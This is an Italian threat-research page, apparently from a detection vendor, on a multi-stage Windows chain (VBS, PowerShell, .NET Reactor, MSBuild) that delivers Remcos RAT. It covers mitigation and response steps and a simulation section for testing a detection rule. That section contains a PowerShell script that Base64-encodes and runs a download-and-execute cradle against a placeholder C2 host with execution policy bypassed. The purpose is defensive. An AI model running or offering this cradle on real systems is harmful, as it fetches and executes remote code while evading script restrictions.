SOC Prime Bias: Medio

15 Jan 2026 15:51 UTC

SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

SHADOW#REACTOR è una catena di malware multi-stage per Windows che combina un launcher VBS offuscato, un downloader basato su PowerShell, artefatti di staging solo testo, un loader protetto da .NET Reactor e l’esecuzione di MSBuild per distribuire infine il trojan di accesso remoto (RAT) Remcos.

Investigazione

I ricercatori hanno ricostruito il flusso a partire da uno script VBS recuperato dall’infrastruttura degli attaccanti, seguito da routine PowerShell che riassemblano e decodificano i payload di testo stagionati. La catena procede con il caricamento riflessivo e in memoria di un’assembly .NET e un passaggio finale a MSBuild, che avvia l’esecuzione del Remcos RAT. Il write-up documenta i componenti codificati nel testo, la logica di decrittazione e i metodi di persistenza utilizzati per mantenere l’accesso.

Mitigazione

Aumentare la copertura di monitoraggio per host di script e interpreti, e impedire l’esecuzione di VBS/PowerShell da percorsi scrivibili dagli utenti dove possibile. Aggiungere rilevamenti per traffico HTTP sospetto verso infrastrutture identificate, uso improprio di MSBuild e caricamento riflessivo di assembly .NET. Monitorare per comuni pattern di persistenza, inclusi modifiche alla chiave Run e voci di avvio basate su collegamenti.

Risposta

Se l’attività di SHADOW#REACTOR è confermata, isolare l’endpoint e terminare l’intera catena di processi (wscript.exe → powershell.exe → msbuild.exe). Rimuovere eventuali file di testo di staging e artefatti di registro correlati, e intervenire eliminando i binari Remcos e gli eventuali blob di configurazione associati. Seguire con una revisione forense approfondita per determinare ulteriori compromessi e garantire l’eradicazione completa.

Flusso di attacco

Esecuzione Simulazione

Requisito: Il Telemetry & Baseline Pre‑flight Check deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP individuati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa d’Attacco e Comandi:
    Un attaccante con diritti limitati di movimento laterale desidera eseguire un payload remoto su un host Windows compromesso eludendo le tipiche difese di blocco degli script. Utilizzano PowerShell con -ExecutionPolicy Bypass per ignorare le restrizioni della policy di esecuzione. Il payload malevolo è offuscato come una stringa codificata in Base64 che, quando decodificata, crea un System.Net.WebClient oggetto per scaricare uno script PowerShell da un server C2 e invocarlo. Questa combinazione soddisfa tutti e tre i criteri di rilevamento (ExecutionPolicy Bypass, FromBase64String, System.Net.WebClient).

  • Script Test di Regressione:

    #--------------------------------------------
    # Esecuzione PowerShell malevola simulata
    #--------------------------------------------
    # 1. Creare uno script remoto semplice (solo a scopo dimostrativo)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. Codificare lo script in Base64
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. Eseguire con Bypass ExecutionPolicy e FromBase64String
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • Comandi di Pulizia:

    # Rimuovere tutti i payload scaricati e interrompere i processi PowerShell in sospeso
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue